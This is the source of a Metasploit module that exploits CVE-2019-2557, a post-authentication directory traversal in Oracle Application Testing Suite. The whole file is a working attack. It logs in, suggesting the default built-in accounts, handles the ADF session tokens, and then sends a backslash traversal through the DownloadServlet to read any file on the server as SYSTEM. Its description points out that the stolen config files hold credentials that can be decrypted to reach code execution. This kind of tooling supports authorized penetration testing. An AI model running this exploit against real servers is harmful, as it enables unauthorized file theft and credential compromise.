## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'rkelly' class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Report include Msf::Exploit::Remote::HttpClient def initialize(info={}) super(update_info(info, 'Name' => 'Oracle Application Testing Suite Post-Auth DownloadServlet Directory Traversal', 'Description' => %q{ This module exploits a vulnerability in Oracle Application Testing Suite (OATS). In the Load Testing interface, a remote user can abuse the custom report template selector, and cause the DownloadServlet class to read any file on the server as SYSTEM. Since the Oracle application contains multiple configuration files that include encrypted credentials, and that there are public resources for decryption, it is actually possible to gain remote code execution by leveraging this directory traversal attack. Please note that authentication is required. By default, OATS has two built-in accounts: default and administrator. You could try to target those first. }, 'License' => MSF_LICENSE, 'Author' => [ 'Steven Seeley', # Original discovery 'sinn3r' # Metasploit module ], 'DefaultOptions' => { 'RPORT' => 8088 }, 'References' => [ ['CVE', '2019-2557'], ['URL', 'https://srcincite.io/advisories/src-2019-0033/'], ['URL', 'https://www.oracle.com/security-alerts/cpuapr2019.html'] ], 'DisclosureDate' => '2019-04-16' )) register_options( [ OptString.new('FILE', [true, 'The name of the file to download', 'oats-config.xml']), OptInt.new('DEPTH', [true, 'The max traversal depth', 1]), OptString.new('OATSUSERNAME', [true, 'The username to use for Oracle', 'default']), OptString.new('OATSPASSWORD', [true, 'The password to use for Oracle']), ]) end class OracleAuthSpec attr_accessor :loop_value attr_accessor :afr_window_id attr_accessor :adf_window_id attr_accessor :adf_ads_page_id attr_accessor :adf_page_id attr_accessor :form_value attr_accessor :session_id attr_accessor :view_direct attr_accessor :view_state end # OATS ships LoadTest500VU_Build1 and LoadTest500VU_Build2 by default, # and there is no way to remove it from the user interface, so this should be # safe to say that there will always there. DEFAULT_SESSION = 'LoadTest500VU_Build1' def auth_spec @auth_spec ||= OracleAuthSpec.new end def check res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'olt/') }) if res && res.body.include?('AdfLoopbackUtils.runLoopback') Exploit::CheckCode::Detected else Exploit::CheckCode::Safe end end def load_runloopback_args(res) html = res.get_html_document rk = RKelly::Parser.new script = html.at('script').text ast = rk.parse(script) runloopback = ast.grep(RKelly::Nodes::ExpressionStatementNode).last runloopback_args = runloopback.value.arguments.value auth_spec.loop_value = runloopback_args[2].value.scan(/'(.+)'/).flatten.first auth_spec.afr_window_id = runloopback_args[7].value.scan(/'(.+)'/).flatten.first json_args = runloopback_args[17] auth_spec.adf_window_id = json_args.value[4].value.value.to_s auth_spec.adf_page_id = json_args.value[5].value.value.to_s end def load_view_redirect_value(res) html = res.get_html_document rk = RKelly::Parser.new script = html.at('script').text ast = rk.parse(script) runredirect = ast.grep(RKelly::Nodes::ExpressionStatementNode).last runredirect_args = runredirect.value.arguments.value redirect_arg = runredirect_args[1].value.scan(/'(.+)'/).flatten.first || '' auth_spec.view_direct = redirect_arg.scan(/ORA_ADF_VIEW_REDIRECT=(\d+);/).flatten.first auth_spec.adf_page_id = redirect_arg.scan(/ORA_ADF_VIEW_PAGE_ID=(s\d+);/).flatten.first end def collect_initial_spec uri = normalize_uri(target_uri.path, 'olt', 'faces', 'login') res = send_request_cgi({ 'method' => 'GET', 'uri' => uri, }) fail_with(Failure::Unknown, 'No response from server') unless res cookies = res.get_cookies session_id = cookies.scan(/JSESSIONID=(.+);/i).flatten.first || '' auth_spec.session_id = session_id load_runloopback_args(res) end def prepare_auth_spec collect_initial_spec uri = normalize_uri(target_uri.path, 'olt', 'faces', 'login') res = send_request_cgi({ 'method' => 'GET', 'uri' => uri, 'cookie' => "JSESSIONID=#{auth_spec.session_id}", 'vars_get' => { '_afrLoop' => auth_spec.loop_value, '_afrWindowMode' => '0', 'Adf-Window-Id' => auth_spec.adf_window_id }, 'headers' => { 'Upgrade-Insecure-Requests' => '1' } }) fail_with(Failure::Unknown, 'No response from server') unless res hidden_inputs = res.get_hidden_inputs.first auth_spec.form_value = hidden_inputs['org.apache.myfaces.trinidad.faces.FORM'] auth_spec.view_state = hidden_inputs['javax.faces.ViewState'] end def ota_login! prepare_auth_spec uri = normalize_uri(target_uri.path, 'olt', 'faces', 'login') res = send_request_cgi({ 'method' => 'POST', 'uri' => uri, 'cookie' => "JSESSIONID=#{auth_spec.session_id}", 'headers' => { 'Upgrade-Insecure-Requests' => '1' }, 'vars_post' => { 'userName' => datastore['OATSUSERNAME'], 'password' => datastore['OATSPASSWORD'], 'org.apache.myfaces.trinidad.faces.FORM' => auth_spec.form_value, 'Adf-Window-Id' => auth_spec.adf_window_id, 'javax.faces.ViewState' => auth_spec.view_state, 'Adf-Page-Id' => auth_spec.adf_page_id, 'event' => 'btnSubmit', 'event.btnSubmit' => 'action' } }) fail_with(Failure::Unknown, 'No response from server') unless res if res.body.include?('Login failed') fail_with(Failure::NoAccess, 'Login failed') else store_valid_credential(user: datastore['OATSUSERNAME'], private: datastore['OATSPASSWORD']) load_view_redirect_value(res) end end def load_file uri = normalize_uri(target_uri.path, 'olt', 'download') dots = '..\\' * datastore['DEPTH'] res = send_request_cgi({ 'method' => 'GET', 'uri' => uri, 'cookie' => "JSESSIONID=#{auth_spec.session_id}", 'vars_get' => { 'type' => 'template', 'session' => DEFAULT_SESSION, 'name' => "#{dots}#{datastore['FILE']}" }, 'headers' => { 'Upgrade-Insecure-Requests' => '1' } }) fail_with(Failure::Unknown, 'No response from server') unless res fail_with(Failure::Unknown, 'File not found') if res.body.include?('No content to display') res.body end def run ota_login! file = load_file print_line(file) store_loot('oats.file', 'application/octet-stream', rhost, file) end end